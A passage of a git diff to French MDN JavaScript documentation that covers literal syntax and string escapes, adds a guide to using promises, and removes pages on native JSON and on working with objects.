Si une virgule est ajoutée à la fin de la liste des éléments, elle est ignorée. Dans le prochain exemple, la longueur du tableau est égale à 3. Il n'y a pas d'élément maListe[3]. Les autres virgules indiquent un nouvel élément.

- -
-

Note : Avec d'anciennes versions de navigateurs, les virgules de fin peuvent causer des erreurs, il est fortement conseillé de les retirer.

-
- -
var maListe = ['maison', , 'école', ];
-
- -

Dans l'exemple qui suit, la longueur du tableau est égale à 4 et maListe[0] et maListe[2] sont manquants.

- -
var maListe = [ , 'maison', , 'école'];
-
- -

Dans l'exemple qui suit, la longueur du tableau est égale à 4 et maListe[1] et maListe[3] sont manquants.

- -
var maListe = ['maison', , 'école', , ];
-
- -

Comprendre le fonctionnement des virgules supplémentaires est important. Cependant, lorsque vous écrivez du code, veillez, dès que c'est possible, à déclarer les éléments manquants avec undefined : cela améliorera la lisibilité de votre code et il sera ainsi plus facile à maintenir.

- -

Les littéraux booléens

- -

Le type booléen possède deux valeurs littérales : true et false.

- -

Il ne faut pas confondre les valeurs true et false du type primitif booléen et les valeurs true et false de l'objet Boolean. L'objet Boolean permet de créer un objet autour du type de donnée booléen. Voir la page sur l'objet Boolean pour plus d'informations.

- -

Les littéraux numériques

- -

Les nombres {{jsxref("Number")}} et les grands entiers {{jsxref("BigInt")}} peuvent être exprimés en notation décimale (base 10), hexadécimale (base 16), octale (base 8) et binaire (base 2).

- -
    -
  • Les littéraux représentant des entiers décimaux sont une suite de chiffres qui ne commence pas par un 0 (zéro)
    • -
  • Un 0 (zéro) en préfixe indique que le littéral est en notation octale. Ces nombres ne peuvent être composés que des chiffres de 0 (zéro) à 7 (sept).
    • -
  • Un préfixe 0x (ou 0X) indique une notation hexadécimale. Les nombres hexadécimaux peuvent être composés de chiffres (0-9) et des lettres A à F (minuscules et majuscules) (la casse d'un caractère ne modifie pas sa valeur : 0xa = 0xA = 10 et 0xf = 0xF = 15).
    • -
  • Un préfixe 0b (ou 0B) indique une notation binaire. Les nombres binaires peuvent être composés de 0 ou de 1 uniquement.
    • -
- -

Voici des exemples pour ces littéraux :

- -
0, 117, -345, 123456789123456789n (notation décimale, base 10)
-015, 0001, -077, 0o7777777777777n (notation octale, base 8)
-0x1123, 0x00111, -0xF1A7, 0x123456789ABCDEFn (notation hexadécimale, base 16)
-0b11, 0B0011, -0b11, 0b11101001010101010101n (notation binaire, base 2)
-
- -

Pour plus d'informations, voir les littéraux numériques dans la grammaire lexicale de JavaScript.

- -

Les littéraux de nombres décimaux

- -

Un littéral de nombre décimal peut être composé de ces différentes parties :

- -
    -
  • Un entier, pouvant être signé (précédé d'un « + » ou d'un « - »),
    • -
  • Un point, séparateur décimal (« . »),
    • -
  • La partie décimale (un autre nombre)
    • -
  • Un exposant.
    • -
- -

L'exposant est la partie du nombre décimal commençant par un « e » ou un « E », suivie d'un entier pouvant être signé (précédé d'un « + » ou d'un « - »). Un littéral de nombre décimal doit comporter au moins un chiffre et soit un point (séparateur décimal) soit un « e » ou un « E ».

- -

Des exemples sont : 3.1415, -3.1E12, .1e12, et 2E-12.

- -

On peut raccourcir cette syntaxe en :

- -
[(+|-)][chiffres].[chiffres][(E|e)[(+|-)]chiffres]
-
- -

Par exemple :

- -
3.14
-2345.789
-.3333333333333333333
-
- -

Les littéraux d'objets

- -

Un littéral d'objet - ou 'objet littéral' - est une liste de zéro ou plusieurs propriétés définies par des paires de noms/valeurs. Ces paires sont délimitées par des accolades ({}). N'utilisez pas un tel littéral en début d'instruction. En effet, l'accolade ouvrante sera mal interprétée (début de bloc) et causera une erreur ou un comportement incohérent.

- -

L'exemple qui suit montre l'utilisation d'un littéral d'objet. Le premier élément de l'objet voiture définit une propriété maVoiture, le deuxième élément : la propriété getVoiture invoque une fonction (carTypes("Honda")), le troisième élément, la propriété special utilise une variable existante (soldes).

- -
var soldes = "Toyota";
-
-function carTypes(nom) {
-  return (nom === "Honda") ?
-    nom :
-    "Désolé, nous ne vendons pas de " + nom + "." ;
-}
-
-var voiture = { maVoiture: "Saturn", getVoiture: carTypes("Honda"), spécial: soldes };
-
-console.log(voiture.maVoiture);   // Saturn
-console.log(voiture.getVoiture);  // Honda
-console.log(voiture.spécial); // Toyota
-
- -

Il est également possible d'utiliser un littéral numérique ou un littéral de chaîne de caractères pour désigner le nom d'une propriété ou pour imbriquer un objet dans un autre. L'exemple qui suit illustre cette possibilité :

- -
var voiture = { plusieursVoitures: {a: "Saab", b: "Jeep"}, 7: "Mazda" };
-
-console.log(voiture.plusieursVoitures.b); // Jeep
-console.log(voiture[7]); // Mazda
-
- -

Les noms des propriétés d'objets peuvent être n'importe quelle chaîne de caractères, y compris la chaîne vide. Si le nom de la propriété n'est pas un identifiant valide, il faudra qu'il soit placé entre guillemets. Les noms de propriétés qui ne sont pas des identifiants valides ne peuvent pas être utilisés pour accéder à la valeur en utilisant la notation pointée (objet.propriété). En revanche, il est possible d'y accéder avec la notation utilisant les crochets ("[]") comme pour les tableaux.

- -
var nomsBizarres = {
-  "": "Chaîne vide",
-  "!": "Bang !"
-}
-console.log(nomsBizarres."");   // SyntaxError: Unexpected string
-console.log(nomsBizarres[""]);  // Chaîne vide
-console.log(nomsBizarres.!);    // SyntaxError: Unexpected token !
-console.log(nomsBizarres["!"]); // Bang !
-
-
- -

Augmentation des littéraux d'objets avec ES2015/ES6

- -

Avec ES2015, les littéraux d'objets permettent de définir le prototype lors de la construction de l'objet, permettent d'utiliser les affectations en notation raccourcie : toto: toto, de définir des méthodes, d'appeler les méthodes de l'objet parent avec super et d'utiliser des noms de propriétés calculées.

- -
var obj = {
-    // __proto__
-    __proto__: lePrototypeDeLObjet,
-    // Notation raccourcie pour ‘handler: handler’
-    handler,
-    // Méthodes
-    toString() {
-     // Appelle les méthodes de l'objet parent
-     return "d " + super.toString();
-    },
-    // Noms de propriétés calculés dynamiquement
-    [ 'prop_' + (() => 42)() ]: 42
-};
- -

Attention :

- -
var toto = {a: "alpha", 2: "deux"};
-console.log(toto.a);    // alpha
-console.log(toto[2]);   // deux
-//console.log(toto.2);  // Erreur: parenthèse ) manquante après la liste d'argument
-//console.log(toto[a]); // Erreur: a n'est pas défini
-console.log(toto["a"]); // alpha
-console.log(toto["2"]); // deux
-
- -

Les littéraux d'expressions rationnelles

- -

Un littéral d'expression rationnelle est un motif encadré par deux barres obliques. Par exemple :

- -
var re = /ab+c/;
- -

Les littéraux de chaînes de caractères

- -

Un littéral de chaîne de caractères consiste en zéro ou plusieurs caractères encadrés par des guillemets droits doubles (") ou des guillemets droits simples ('). Une chaîne de caractères doit être encadrée par des symboles du même type (guillemets droits doubles ou guillemets droits simples) :

- -
    -
  • "toto"
    • -
  • 'truc'
    • -
  • "1234"
    • -
  • "Une ligne \n une autre ligne"
    • -
  • "Aujourd'hui j'ai mangé une pomme"
    • -
- -

Il est possible d'utiliser les méthodes de String sur un tel littéral. JavaScript convertira automatiquement le littéral en un objet String, appellera la méthode puis détruira l'objet String. On peut également utiliser la propriété String.length sur un littéral de chaîne de caractère :

- -
console.log("j'ai mangé une pomme".length)
-// Affichera le nombre de caractères (y compris les blancs).
-// Dans ce cas, 20.
-
- -

Il est préférable d'utiliser des littéraux de chaînes de caractères s'il n'est pas spécifiquement nécessaire d'utiliser un objet String. Voir la page sur l'objet String pour plus de détails sur les objets String.

- -

Avec ECMAScript 2015, on peut également utiliser des littéraux sous forme de gabarits (templates) en utilisant le caractère accent grave (`) comme séparateur. Les gabarits de chaînes de caractères sont semblables aux fonctionnalités d'interpolation existantes en Python, Perl, etc. Ces gabarits permettent d'utiliser des balises afin d'adapter la construction de chaînes.

- -
// Littéral simple pour une chaîne
-`Un saut de ligne '\n' en JavaScript.`
-
-// On peut écrire une chaîne sur plusieurs
-// lignes
-`Dans les gabarits, on peut écrire
-  sur plusieurs lignes. `
-
-// Interpolation de chaîne
-var nom = "Robert", jour = "aujourd'hui";
-`Bonjour ${nom}, comment allez-vous ${jour} ?`
-
-// On peut construire un préfixe HTTP
-// afin de construire plus facilement
-// des requêtes via des substitutions
-POST`http://toto.org/truc?a=${a}&b=${b}
-     Content-Type: application/json
-     X-Credentials: ${credentials}
-     { "toto": ${toto},
-       "truc": ${truc}}`(myOnReadyStateChangeHandler);
- -

Utilisation des caractères spéciaux

- -

En plus des caractères « classiques », il est possible d'insérer des caractères spéciaux dans les chaînes de caractères. Voici un exemple :

- -
"une ligne \n une autre ligne"
-
- -

Voici un tableau listant les caractères spéciaux qu'il est possible d'utiliser dans les chaînes de caractères JavaScript :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Caractères spéciaux en JavaScript
CaractèreSignification
\0Octet null
\bRetour arrière
\fSaut de page
\nNouvelle ligne
\rRetour chariot
\tTabulation
\vTabulation verticale
\'Apostrophe ou guillemet droit simple
\"Guillemet droit double
\\Barre oblique inversée
\XXXLe caractère dont l'encodage Latin-1 est spécifié grâce à, au plus, 3 chiffres octaux XXX entre 0 et 377. \251, par exemple représente le caractère copyright.
\xXXLe caractère dont l'encodage Latin-1 est spécifié par deux chiffres hexadécimaux entre 00 et FF. Ainsi, \xA9 correspond à la séquence hexadécimale pour le caractère copyright.
\uXXXXLe caractère Unicode spécifié par quatre chiffres hexadécimaux XXXX. Ainsi, \u00A9 correspondra à la séquence Unicode du symbole copyright. Voir {{anch("Unicode escape sequences")}}.
\u{XXXXX}Échappement de codes Unicode. Par exemple, \u{2F804} est équivalent à la combinaison d'échappements « simples » \uD87E\uDC04.
- -

Les caractères d'échappement

- -

Pour les caractères qui ne font pas partie du tableau précédent, les barres obliques inversées (backslash) les précédant sont ignorées. Cependant, cet usage est obsolète et devrait être évité.

- -

En précédant d'une barre oblique inversée les guillemets droits doubles, on échappe ces caractères. Voici un exemple :

- -
var citation = "Il lit \"Bug Jargal\" de V. Hugo.";
-console.log(citation);
-
- -

Le résultat serait alors

- -
Il lit "Bug Jargal" de V. Hugo.
- -

Pour inclure une barre oblique inversée dans une chaîne de caractères, il faut aussi l'échapper. Par exemple, pour stocker le chemin c:\temp dans une chaîne de caractères, on utilisera le code suivant :

- -
var chemin = "c:\\temp";
-
- -

Il est également possible d'échapper des sauts de lignes de la même façon. La barre oblique inversée et le saut de ligne seront alors ignorés dans la valeur de la chaîne de caractères.

- -
var str = "cette chaîne \
-est cassée \
-sur plusieurs \
-lignes."
-console.log(str);   // cette chaîne est cassée sur plusieurs lignes.
-
- -

Avant ECMAScript 2015 (ES6), JavaScript ne disposait pas d'une syntaxe permettant de traiter les chaînes de caractères comme des contenus de fichier, il est possible d'ajouter un caractère de saut de ligne échappé et un saut de ligne en fin de ligne en utilisant cette façon :

- -
var poème =
-"Les roses sont rouges,\n\
-Les violettes sont bleues.\n\
-Le miel est sucré,\n\
-Et moi je suis."
-
- -

Grâce à ES6, on peut utiliser des littéraux de gabarits qui offrent de nouvelles fonctionnalités dont une qui permet d'avoir des chaînes de caractères écrites sur plusieurs lignes :

- -
var poème =
-`Les roses sont rouges,
-Les violettes sont bleues,
-Le miel est sucré,
-Et moi je suis.`
- -

En savoir plus

- -

Ce chapitre est centré sur les bases de la syntaxe, les déclarations et les types utilisés en JavaScript. Pour en savoir plus sur les différents composants du langage, voir les chapitres suivants du guide:

- - - -

Dans le chapitre suivant, on abordera les structures conditionnelles, permettant de diriger le flux d'instructions et la gestion des erreurs.

- -

{{PreviousNext("Web/JavaScript/Guide/Introduction", "Web/JavaScript/Guide/Contrôle_du_flux_Gestion_des_erreurs")}}

diff --git a/files/fr/web/javascript/guide/using_promises/index.html b/files/fr/web/javascript/guide/using_promises/index.html new file mode 100644 index 0000000000..2198201957 --- /dev/null +++ b/files/fr/web/javascript/guide/using_promises/index.html @@ -0,0 +1,314 @@ +--- +title: Utiliser les promesses +slug: Web/JavaScript/Guide/Utiliser_les_promesses +tags: + - Guide + - Intermédiaire + - JavaScript + - Promesses + - Promise +translation_of: Web/JavaScript/Guide/Using_promises +--- +
{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Le_modèle_objet_JavaScript_en_détails", "Web/JavaScript/Guide/iterateurs_et_generateurs")}}
+ +

Une promesse est un objet ({{jsxref("Promise")}}) qui représente la complétion ou l'échec d'une opération asynchrone. La plupart du temps, on « consomme » des promesses et c'est donc ce que nous verrons dans la première partie de ce guide pour ensuite expliquer comment les créer.

+ +

En résumé, une promesse est un objet qui est renvoyé et auquel on attache des callbacks plutôt que de passer des callbacks à une fonction. Ainsi, au lieu d'avoir une fonction qui prend deux callbacks en arguments :

+ +
function faireQqcALAncienne(successCallback, failureCallback){
+  console.log("C'est fait");
+  // réussir une fois sur deux
+  if (Math.random() > .5) {
+    successCallback("Réussite");
+  } else {
+    failureCallback("Échec");
+  }
+}
+
+function successCallback(résultat) {
+  console.log("L'opération a réussi avec le message : " + résultat);
+}
+
+
+function failureCallback(erreur) {
+  console.error("L'opération a échoué avec le message : " + erreur);
+}
+
+faireQqcALAncienne(successCallback, failureCallback);
+
+
+ +

On aura une fonction qui renvoie une promesse et on attachera les callbacks sur cette promesse :

+ +
function faireQqc() {
+  return new Promise((successCallback, failureCallback) => {
+    console.log("C'est fait");
+    // réussir une fois sur deux
+    if (Math.random() > .5) {
+      successCallback("Réussite");
+    } else {
+      failureCallback("Échec");
+    }
+  })
+}
+
+const promise = faireQqc();
+promise.then(successCallback, failureCallback);
+
+ +

ou encore :

+ +
faireQqc().then(successCallback, failureCallback);
+
+ +

Cette dernière forme est ce qu'on appelle un appel de fonction asynchrone. Cette convention possède différents avantages dont le premier est le chaînage.

+ +

Garanties

+ +

À la différence des imbrications de callbacks, une promesse apporte certaines garanties :

+ +
    +
  • Les callbacks ne seront jamais appelés avant la fin du parcours de la boucle d'évènements JavaScript courante
    • +
  • Les callbacks ajoutés grâce à then seront appelés, y compris après le succès ou l'échec de l'opération asynchrone
    • +
  • Plusieurs callbacks peuvent être ajoutés en appelant then plusieurs fois, ils seront alors exécutés l'un après l'autre selon l'ordre dans lequel ils ont été insérés.
    • +
+ +

Chaînage des promesses

+ +

Un besoin fréquent est d'exécuter deux ou plus d'opérations asynchrones les unes à la suite des autres, avec chaque opération qui démarre lorsque la précédente a réussi et en utilisant le résultat de l'étape précédente. Ceci peut être réalisé en créant une chaîne de promesses.

+ +

La méthode then() renvoie une nouvelle promesse, différente de la première :

+ +
const promise = faireQqc();
+const promise2 = promise.then(successCallback, failureCallback);
+
+ +

ou encore :

+ +
const promise2 = faireQqc().then(successCallback, failureCallback);
+
+ +

La deuxième promesse (promise2) indique l'état de complétion, pas uniquement pour faireQqc() mais aussi pour le callback qui lui a été passé (successCallback ou failureCallback) qui peut aussi être une fonction asynchrone qui renvoie une promesse. Lorsque c'est le cas, tous les callbacks ajoutés à promise2 forment une file derrière la promesse renvoyée par successCallback ou failureCallback.

+ +

Autrement dit, chaque promesse représente l'état de complétion d'une étape asynchrone au sein de cette succession d'étapes.

+ +

Auparavant, l'enchaînement de plusieurs opérations asynchrones déclenchait une pyramide dantesque de callbacks :

+ +
faireQqc(function(result) {
+  faireAutreChose(result, function(newResult) {
+    faireUnTroisiemeTruc(newResult, function(finalResult) {
+      console.log('Résultat final :' + finalResult);
+    }, failureCallback);
+  }, failureCallback);
+}, failureCallback);
+
+ +

Grâce à des fonctions plus modernes et aux promesses, on attache les callbacks aux promesses qui sont renvoyées. On peut ainsi construire une chaîne de promesses :

+ +
faireQqc().then(function(result) {
+  return faireAutreChose(result);
+})
+.then(function(newResult) {
+  return faireUnTroisiemeTruc(newResult);
+})
+.then(function(finalResult) {
+  console.log('Résultat final : ' + finalResult);
+})
+.catch(failureCallback);
+
+ +

Les arguments passés à then sont optionnels. La forme catch(failureCallback) est un alias plus court pour then(null, failureCallback). Ces chaînes de promesses sont parfois construites avec des fonctions fléchées :

+ +
faireQqc()
+.then(result => faireAutreChose(result))
+.then(newResult => faireUnTroisiemeTruc(newResult))
+.then(finalResult => {
+  console.log('Résultat final : ' + finalResult);
+})
+.catch(failureCallback);
+
+ +
+

Important : cela implique que les fonctions asynchrones renvoient toutes des promesses, sinon les callbacks ne pourront être chaînés et les erreurs ne seront pas interceptées (les fonctions fléchées ont une valeur de retour implicite si les accolades ne sont pas utilisées : () => x est synonyme de () => { return x; }).

+
+ +

Chaînage après un catch

+ +

Il est possible de chaîner de nouvelles actions après un rejet, c'est-à-dire un catch. C'est utile pour accomplir de nouvelles actions après qu'une action ait échoué dans la chaine. Par exemple :

+ +
new Promise((resolve, reject) => {
+    console.log('Initial');
+
+    resolve();
+})
+.then(() => {
+    throw new Error('Something failed');
+
+    console.log('Do this');
+})
+.catch(() => {
+    console.error('Do that');
+})
+.then(() => {
+    console.log('Do this whatever happened before');
+});
+
+ +

Cela va produire la sortie suivante :

+ +
Initial
+Do that
+Do this whatever happened before
+
+ +

Notez que le texte Do this n'est pas affiché car l'erreur Something failed a produit un rejet.

+ +

Propagation des erreurs

+ +

Dans les exemples précédents, failureCallback était présent trois fois dans la pyramide de callbacks et une seule fois, à la fin, dans la chaîne des promesses :

+ +
faireQqc()
+.then(result => faireAutreChose(result))
+.then(newResult => faireUnTroisiemeTruc(newResult))
+.then(finalResult => console.log('Résultat final : ' + finalResult))
+.catch(failureCallback);
+
+ +

En fait, dès qu'une exception est levée, la chaîne de promesses utilisera le premier catch() ou onRejected disponible. Ce fonctionnement est assez proche de ce qu'on peut trouver pour du code synchrone :

+ +
try {
+  const result = syncFaireQqc();
+  const newResult = syncFaireQqcAutre(result);
+  const finalResult = syncFaireUnTroisiemeTruc(newResult);
+  console.log('Résultat final : ' + finalResult);
+} catch(error) {
+  failureCallback(error);
+}
+
+ +

Cette symétrie entre le code asynchrone et le code synchrone atteint son paroxysme avec le couple d'opérateurs async/await d'ECMAScript 2017:

+ +
async function toto() {
+  try {
+    const result = await faireQqc();
+    const newResult = await faireQqcAutre(result);
+    const finalResult = await faireUnTroisiemeTruc(newResult);
+    console.log('Résultat final : ' + finalResult);
+  } catch(error) {
+    failureCallback(error);
+  }
+}
+
+ +

Ce fonctionnement est construit sur les promesses et faireQqc() est la même fonction que celle utilisée dans les exemples précédents.

+ +

Les promesses permettent de résoudre les problèmes de cascades infernales de callbacks notamment en interceptant les différentes erreurs (exceptions et erreurs de programmation). Ceci est essentiel pour obtenir une composition fonctionnelle des opérations asynchrones.

+ +

Évènements liés à la rupture d'une promesse

+ +

Lorsqu'une promesse est rompue/rejetée, un des deux évènements suivants est envoyé au niveau de la portée globale ({{domxref("window")}} ou {{domxref("Worker")}} si le script est utilisé dans un worker) :

+ +
+
{{domxref("Window.rejectionhandled_event","rejectionhandled")}}
+
Cet évènement est envoyé lorsqu'une promesse est rompue et après que le rejet ai été traité par la fonction reject associée à la promesse.
+
{{domxref("Window.unhandledrejection_event","unhandledrejection")}}
+
Cet évènement est envoyé lorsque la promesse est rompue et qu'aucune fonction n'a été définie pour gérer le rejet de la promesse.
+
+ +

Dans les deux cas, l'évènement (dont le type est {{domxref("PromiseRejectionEvent")}}) aura deux propriétés :

+ +
+
{{domxref("PromiseRejectionEvent.promise","promise")}}
+
La promesse qui a été rompue.
+
{{domxref("PromiseRejectionEvent.reason","reason")}}
+
La raison pour laquelle la promesse a été rompue.
+
+ +

Gérer ces évènements permet d'avoir une ultime méthode pour gérer le rejet des promesses. Cela peut notamment s'avérer utile pour le débogage. Ces évènements sont déclenchés au niveau global et permettent ainsi d'intercepter les erreurs pour chaque contexte (fenêtre ou worker)

+ +
window.addEventListener("unhandledrejection", event => {
+  // Examiner la ou les promesse(s) qui posent problème en debug
+  // Nettoyer ce qui doit l'être quand ça se produit en réel
+
+}, false);
+ +

Envelopper les callbacks des API

+ +

Il est possible de créer un objet  {{jsxref("Promise")}} grâce à son constructeur. Et même si, idéalement, cela ne devrait pas être nécessaire, certaines API fonctionnent toujours avec des callbacks passés en arguments. C'est notamment le cas de la méthode  {{domxref("WindowTimers.setTimeout", "setTimeout()")}} :

+ +
setTimeout(() => saySomething("10 seconds passed"), 10 * 1000);
+
+ +

Si on mélange des callbacks et des promesses, cela sera problématique. Si  saySomething échoue ou contient des erreurs, rien n'interceptera l'erreur.

+ +

Pour ces fonctions, la meilleure pratique consiste à les envelopper dans des promesses au plus bas niveau possible et de ne plus les appeler directement :

+ +
const wait = ms => new Promise(resolve => setTimeout(resolve, ms));
+
+wait(10 * 1000).then(() => saySomething("10 seconds")).catch(failureCallback);
+
+ +

Le constructeur Promise prend en argument une fonction et nous permet de la convertir manuellement en une promesse. Ici, vu que setTimeout n'échoue pas vraiment, on laisse de côté la gestion de l'échec.

+ +

Composition

+ +

{{jsxref("Promise.resolve()")}} et {{jsxref("Promise.reject()")}} sont des méthodes qui permettent de créer des promesses déjà tenues ou rompues.

+ +

{{jsxref("Promise.all()")}} et {{jsxref("Promise.race()")}} sont deux outils de composition qui permettent de mener des opérations asynchrones en parallèle.

+ +

On peut lancer des opérations en parallèles et attendre qu'elles soient toutes finies de cette façon :

+ +
Promise.all([func1(), func2(), func3()])
+.then(([resultat1, resultat2, resultat3]) => { /* où on utilise resultat1/2/3 */ });
+ +

Il est possible de construire une composition séquentielle de la façon suivante :

+ +
[func1, func2].reduce((p, f) => p.then(f), Promise.resolve());
+
+ +

Dans ce fragment de code, on réduit un tableau de fonctions asynchrones en une chaîne de promesse équivalente à : Promise.resolve().then(func1).then(func2);

+ +

On peut également accomplir cela avec une fonction de composition réutilisable  :

+ +
const applyAsync = (acc, val) => acc.then(val);
+const composeAsync = (...funcs) => x => funcs.reduce(applyAsync, Promise.resolve(x));
+ +

La fonction composeAsync accepte autant de fonctions que nécessaire comme arguments et renvoie une nouvelle fonction qui prend une valeur initiale pour la passer à travers ces étapes de compositions. Cette façon de faire garantit que les fonctions, qu'elles soient synchrones ou asynchrones, sont exécutées dans le bon ordre :

+ +
const transformData = composeAsync(func1, asyncFunc1, asyncFunc2, func2);
+transformData(data);
+ +

Avec ECMAScript 2017, on peut obtenir une composition séquentielle plus simplement avec les opérateurs await/async :

+ +
let result;
+for(const f of [func1, func2, func3]) {
+  result = await f(result);
+}
+ +

Gestion du temps

+ +

Pour éviter de mauvaises surprises, les fonctions passées à then() ne seront jamais appelées de façon synchrone, y compris lorsqu'il s'agit d'une promesse déjà résolue :

+ +
Promise.resolve().then(() => console.log(2));
+console.log(1); // 1, 2
+
+ +

En fait, la fonction passée à then() est placée dans une file de micro-tâches qui sont exécutées lorsque cette file est vidée à la fin de la boucle d'évènements JavaScript :

+ +
var wait = ms => new Promise(resolve => setTimeout(resolve, ms));
+
+wait().then(() => console.log(4));
+Promise.resolve().then(() => console.log(2)).then(() => console.log(3));
+console.log(1); // 1, 2, 3, 4
+
+ +

Voir aussi

+ + + +

{{PreviousNext("Web/JavaScript/Guide/Le_modèle_objet_JavaScript_en_détails", "Web/JavaScript/Guide/iterateurs_et_generateurs")}}

diff --git a/files/fr/web/javascript/guide/utiliser_le_json_natif/index.html b/files/fr/web/javascript/guide/utiliser_le_json_natif/index.html deleted file mode 100644 index a70dfee208..0000000000 --- a/files/fr/web/javascript/guide/utiliser_le_json_natif/index.html +++ /dev/null @@ -1,100 +0,0 @@ ---- -title: Utiliser le JSON natif -slug: Web/JavaScript/Guide/Utiliser_le_JSON_natif -tags: - - Add-ons - - Advanced - - ECMAScript5 - - Extensions - - JSON - - JavaScript -translation_of: Web/JavaScript/Reference/Global_Objects/JSON -translation_of_original: Web/JavaScript/Guide/Using_native_JSON ---- -

{{jsSidebar("JavaScript Guide")}}

- -

Cet article aborde l'objet JSON natif conforme à ECMAScript 5 qui a été ajouté à Gecko 1.9.1. Pour consulter les informations de base sur l'utilisation de JSON dans les versions précédentes de Firefox, consulter la page JSON.

- -

L'objet natif JSON possède deux méthodes clés. La méthode JSON.parse() qui analyse une chaîne de caractères JSON et qui reconstruit l'objet JavaScript original. La méthode JSON.stringify(), quant à elle, accepte un objet JavaScript et renvoie son équivalent JSON.

- -
Note : JSON ne supporte pas les structures cycliques. Toute tentative de conversion d'une telle structure renverra une exception TypeError.
- -

Analyser (parser) les chaînes JSON

- -

Afin de convertir une chaîne JSON en un objet JavaScript, il suffit de passer une chaîne JSON à la méthode JSON.parse() :

- -
var objetJS = JSON.parse(chaineJSON);
- -
-

À partir de JavaScript 1.8.5 (Firefox 4), JSON.parse() n'accepte pas les virgules en fin de chaîne

-
- -
// ces deux instructions renverront une exception SyntaxError
-// à partir de JavaScript 1.8.5
-var objetJS = JSON.parse("[1, 2, 3, 4, ]");
-var objetJS = JSON.parse("{ \"toto\" : 1, }");
-
- -

Convertir les objets en JSON

- -

Afin de convertir un objet JavaScript en une chaîne JSON, il suffit de passer l'objet à la méthode JSON.stringify() :

- -
var toto = {};
-toto.truc = "nouvelle propriété";
-toto.machin = 3;
-
-var chaineJSON = JSON.stringify(toto);
-
- -

chaineJSON contient désormais '{"truc":"nouvelle propriété","machin":3}'.

- -

Depuis Firefox 3.5.4, JSON.stringify() permet d'adapter la conversion grâce à des paramètres optionnels. La syntaxe est la suivante :

- -

chaineJSON = JSON.stringify(valeur [, remplacement [, espace]])remplacement

- -
-
valeur
-
L'objet JavaScript à convertir en une chaîne JSON.
-
remplacement
-
Une fonction qui modifie le comportement de la conversion ou bien un tableau d'objets String et Number qui sera utilisé comme une liste de propriétés de l'objet valeur à inclure dans la chaîne JSON. Si cette valeur est nulle ou n'est pas fournie, toutes les propriétés de l'objet seront inclues dans la chaîne résultante.
-
espace
-
Un objet String ou Number utilisé pour insérer des espaces dans la chaîne JSON afin qu'elle soit plus lisible. Si c'est un objet Number, il indique le nombre d'espaces à insérer. Ce nombre est limité à 10. Les valeurs inférieures à 1 indiquent qu'aucun espace ne sera utilisé, les valeurs supérieures à 10 seront ramenées à 10. Si cet objet est une String, la chaîne de caractères (ou les 10 premiers caractères si la chaîne est plus longue) à utiliser comme blanc. Si ce paramètre n'est pas fourni (ou vaut null), aucun blanc ne sera utilisé.
-
- -

Le paramètre de remplacement

- -

La paramètre remplacement peut être une fonction ou un tableau. Si c'est une fonction, elle prendra deux paramètres : la clé et la valeur à être convertie en chaîne de caractères. L'objet pour lequel la clé a été trouvée sera fourni comme paramètre this de la fonction de remplacement. Initialement elle est appelée avec une clé vide représentant l'objet à transformer en chaîne et est ensuite appelé pour chacune des propriétés de l'objet ou du tableau à convertir. Elle doit renvoyer la valeur à ajouter à la chaîne de caractère JSON comme suit :

- -
    -
  • Si on renvoie un Number, la chaîne correspondante à ce nombre est utilisée pour la valeur de la propriété de à ajouter à la chaîne JSON.
    • -
  • Si on renvoie une String, cette chaîne est utilisée comme la valeur de la propriété à ajouter à la chaîne JSON.
    • -
  • Si on renvoie un Boolean, "true" ou "false" est utilisé comme la valeur de la propriété à ajouter à la chaîne JSON.
    • -
  • Si on renvoie n'importe quel autre objet, il est alors transformé en chaîne JSON de façon récursive en appelant la même fonction de remplacement sur chacune de ses propriétés sauf si l'objet est une fonction, auquel cas on n'ajoute rien à la chaîne JSON.
    • -
  • Si la valeur de retour est undefined, la propriété n'est pas incluse dans la chaîne résultante.
    • -
- -
Note : Il est impossible d'utiliser la fonction de remplacement pour retirer des valeurs d'un tableau. Si la valeur undefined ou une fonction est renvoyée  : null sera renvoyé.
- -

Exemple

- -
function censure(key, value) {
-  if (typeof value === "string") {
-    return undefined;
-  }
-  return value;
-}
-
-var toto = {fondation: "Mozilla", modèle: "box", semaine: 45, transport: "voiture", mois: 7};
-var chaineJSON = JSON.stringify(toto, censure);
-
- -

La chaîne JSON produite sera {"semaine":45,"mois":7}.

- -

Si remplacement est un tableau, les valeurs du tableau indiquent les noms des propriétés de l'objet à inclure dans la chaîne JSON.

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/guide/utiliser_les_objets/index.html b/files/fr/web/javascript/guide/utiliser_les_objets/index.html deleted file mode 100644 index 3879fd0b58..0000000000 --- a/files/fr/web/javascript/guide/utiliser_les_objets/index.html +++ /dev/null @@ -1,474 +0,0 @@ ---- -title: Utiliser les objets -slug: Web/JavaScript/Guide/Utiliser_les_objets -tags: - - Débutant - - Guide - - JavaScript - - Object -translation_of: Web/JavaScript/Guide/Working_with_Objects ---- -
{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Collections_avec_clés", "Web/JavaScript/Guide/Le_modèle_objet_JavaScript_en_détails")}}
- -

JavaScript est conçu autour d'un paradigme simple, basé sur les objets. Un objet est un ensemble de propriétés et une propriété est une association entre un nom (aussi appelé clé) et une valeur. La valeur d'une propriété peut être une fonction, auquel cas la propriété peut être appelée « méthode ». En plus des objets natifs fournis par l'environnement, il est possible de construire ses propres objets. Ce chapitre aborde la manipulation d'objets, l'utilisation des propriétés, fonctions et méthodes, il explique également comment créer ses objets.

- -

Un aperçu des objets

- -

À l'instar de nombreux autres langages de programmation, on peut comparer les objets JavaScript aux objets du monde réel.

- -

En JavaScript, un objet est une entité à part entière qui possède des propriétés. Si on effectue cette comparaison avec une tasse par exemple, on pourra dire qu'une tasse est un objet avec des propriétés. Ces propriétés pourront être la couleur, la forme, le poids, le matériau qui la constitue, etc. De la même façon, un objet JavaScript possède des propriétés, chacune définissant une caractéristique.

- -

Les objets et les propriétés

- -

Un objet JavaScript possède donc plusieurs propriétés qui lui sont associées. Une propriété peut être vue comme une variable attachée à l'objet. Les propriétés d'un objet sont des variables tout ce qu'il y a de plus classiques, exception faite qu'elle sont attachées à des objets. Les propriétés d'un objet représentent ses caractéristiques et on peut y accéder avec une notation utilisant le point « . », de la façon suivante :

- -
nomObjet.nomPropriete
-
- -

